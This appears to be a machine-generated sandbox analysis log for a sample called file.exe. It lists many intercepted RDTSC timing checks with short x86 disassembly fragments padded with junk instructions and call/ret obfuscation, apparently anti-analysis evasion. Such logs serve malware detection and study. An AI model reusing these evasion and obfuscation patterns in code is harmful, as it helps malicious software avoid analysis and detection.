Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48320 second address: A48342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E2h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FDE8C51D4D6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4848E second address: A48494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48494 second address: A4849F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B6F5 second address: A4B763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE8CE8B4C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007FDE8CE8B4CDh 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 sub dword ptr [ebp+122D1C44h], edx 0x0000001e mov edi, dword ptr [ebp+122D2E7Fh] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FDE8CE8B4C8h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 jng 00007FDE8CE8B4D0h 0x00000046 pushad 0x00000047 pushad 0x00000048 popad 0x00000049 mov dword ptr [ebp+122D29FFh], eax 0x0000004f popad 0x00000050 push 44AD8AD5h 0x00000055 push eax 0x00000056 push edx 0x00000057 push edi 0x00000058 pushad 0x00000059 popad 0x0000005a pop edi 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B763 second address: A4B7E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007FDE8C51D4D6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 44AD8A55h 0x00000013 mov ch, al 0x00000015 mov dx, B259h 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007FDE8C51D4D8h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 push ebx 0x00000036 mov esi, 60F63800h 0x0000003b pop edx 0x0000003c mov dword ptr [ebp+122D29FFh], esi 0x00000042 push 00000000h 0x00000044 movzx edi, si 0x00000047 push 00000003h 0x00000049 call 00007FDE8C51D4DEh 0x0000004e mov si, 0CE2h 0x00000052 pop edx 0x00000053 or dword ptr [ebp+122D1CE0h], edx 0x00000059 push 85473414h 0x0000005e push eax 0x0000005f push edx 0x00000060 push edx 0x00000061 jmp 00007FDE8C51D4DEh 0x00000066 pop edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B7E7 second address: A4B7EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B8C3 second address: A4B8C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B8C9 second address: A4B927 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FDE8CE8B4CAh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 293C2647h 0x00000012 mov dx, ax 0x00000015 push 00000003h 0x00000017 mov ecx, dword ptr [ebp+122D2C53h] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FDE8CE8B4C8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 movzx ecx, di 0x0000003c push 00000003h 0x0000003e mov dx, A3DAh 0x00000042 call 00007FDE8CE8B4C9h 0x00000047 push eax 0x00000048 push edx 0x00000049 js 00007FDE8CE8B4CCh 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B927 second address: A4B92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B92B second address: A4B949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDE8CE8B4CBh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B949 second address: A4B959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B959 second address: A4B9A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FDE8CE8B4CDh 0x00000012 pop eax 0x00000013 lea ebx, dword ptr [ebp+12450591h] 0x00000019 mov dword ptr [ebp+122D2A94h], edx 0x0000001f xchg eax, ebx 0x00000020 jmp 00007FDE8CE8B4D4h 0x00000025 push eax 0x00000026 pushad 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BA32 second address: A4BA98 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE8C51D4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b add dword ptr [esp], 0C01D331h 0x00000012 adc edi, 4D17B527h 0x00000018 push 00000003h 0x0000001a mov si, ax 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FDE8C51D4D8h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 jmp 00007FDE8C51D4DAh 0x0000003e push 00000003h 0x00000040 push edx 0x00000041 add di, 19D3h 0x00000046 pop ecx 0x00000047 mov dword ptr [ebp+122D1C44h], ecx 0x0000004d push 495446F9h 0x00000052 jo 00007FDE8C51D4EBh 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BA98 second address: A4BAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4CDh 0x00000009 popad 0x0000000a add dword ptr [esp], 76ABB907h 0x00000011 lea ebx, dword ptr [ebp+1245059Ch] 0x00000017 mov edi, dword ptr [ebp+122D2DDFh] 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jng 00007FDE8CE8B4C8h 0x00000026 push edx 0x00000027 pop edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BAC8 second address: A4BACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4BACE second address: A4BAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C733 second address: A5C738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68F7F second address: A68F85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A690FE second address: A69103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69292 second address: A692C5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE8CE8B4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDE8CE8B4D0h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FDE8CE8B4CFh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A692C5 second address: A692DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDE8C51D4E5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6946B second address: A69471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69471 second address: A69477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A14 second address: A69A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FDE8CE8B4C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE8CE8B4D2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69A34 second address: A69A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BEA second address: A69BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69BF2 second address: A69C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FDE8C51D4E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69E7B second address: A69E8A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE8CE8B4C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69E8A second address: A69E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69E91 second address: A69E96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69E96 second address: A69EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8C51D4E4h 0x00000009 js 00007FDE8C51D4D6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69EB9 second address: A69EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A019 second address: A6A022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A022 second address: A6A026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38AC4 second address: A38AD0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jno 00007FDE8C51D4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38AD0 second address: A38AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDE8CE8B4D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A960 second address: A6A968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6A968 second address: A6A977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jo 00007FDE8CE8B4CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AC03 second address: A6AC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AC09 second address: A6AC15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FDE8CE8B4C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6AC15 second address: A6AC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDE8C51D4D6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71D0E second address: A71D18 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE8CE8B4CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75069 second address: A7508C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FDE8C51D4D6h 0x0000000c jmp 00007FDE8C51D4E6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7508C second address: A75096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDE8CE8B4C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75096 second address: A750E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jg 00007FDE8C51D4D6h 0x00000010 jmp 00007FDE8C51D4E9h 0x00000015 pop ebx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A750E0 second address: A750E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A750E4 second address: A750EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A750EA second address: A750F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDE8CE8B4C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A750F4 second address: A750F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7596B second address: A75991 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnl 00007FDE8CE8B4C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007FDE8CE8B4D8h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C058 second address: A3C05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C05E second address: A3C064 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3C064 second address: A3C069 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B05D second address: A7B061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BE13 second address: A7BE17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C47E second address: A7C488 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE8CE8B4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C637 second address: A7C63B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C63B second address: A7C641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CD67 second address: A7CD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E00D second address: A7E02C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4D6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E02C second address: A7E030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F34D second address: A7F362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4CCh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FE1C second address: A7FE7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FDE8C51D4EDh 0x0000000b jmp 00007FDE8C51D4E7h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FDE8C51D4D8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 jmp 00007FDE8C51D4E1h 0x00000035 push 00000000h 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80836 second address: A80856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FDE8CE8B4D4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80856 second address: A8085B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8085B second address: A80866 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDE8CE8B4C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FBEA second address: A7FBF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FBF0 second address: A7FBFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FDE8CE8B4C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7FBFB second address: A7FC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85173 second address: A85179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85C75 second address: A85C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8C51D4DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88295 second address: A88301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FDE8CE8B4C8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 jmp 00007FDE8CE8B4CCh 0x00000027 sbb bx, 0ED0h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2A94h], eax 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+1247340Eh] 0x0000003c xor edi, 773260E7h 0x00000042 xchg eax, esi 0x00000043 jmp 00007FDE8CE8B4CFh 0x00000048 push eax 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FDE8CE8B4CAh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86359 second address: A8635D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8635D second address: A8637C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE8CE8B4CCh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jnc 00007FDE8CE8B4C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A567 second address: A8A56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8637C second address: A86381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B286 second address: A8B29F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE8C51D4DFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86381 second address: A86387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B29F second address: A8B346 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movsx edi, ax 0x0000000c mov dword ptr [ebp+122D2802h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FDE8C51D4D8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e call 00007FDE8C51D4E9h 0x00000033 sub dword ptr [ebp+122D1DFDh], ecx 0x00000039 pop ebx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007FDE8C51D4D8h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 mov ebx, 4E015CD1h 0x0000005b push eax 0x0000005c pushad 0x0000005d pushad 0x0000005e jns 00007FDE8C51D4D6h 0x00000064 jl 00007FDE8C51D4D6h 0x0000006a popad 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FDE8C51D4E8h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D278 second address: A8D299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4CBh 0x00000009 jnp 00007FDE8CE8B4D2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A521 second address: A3A525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
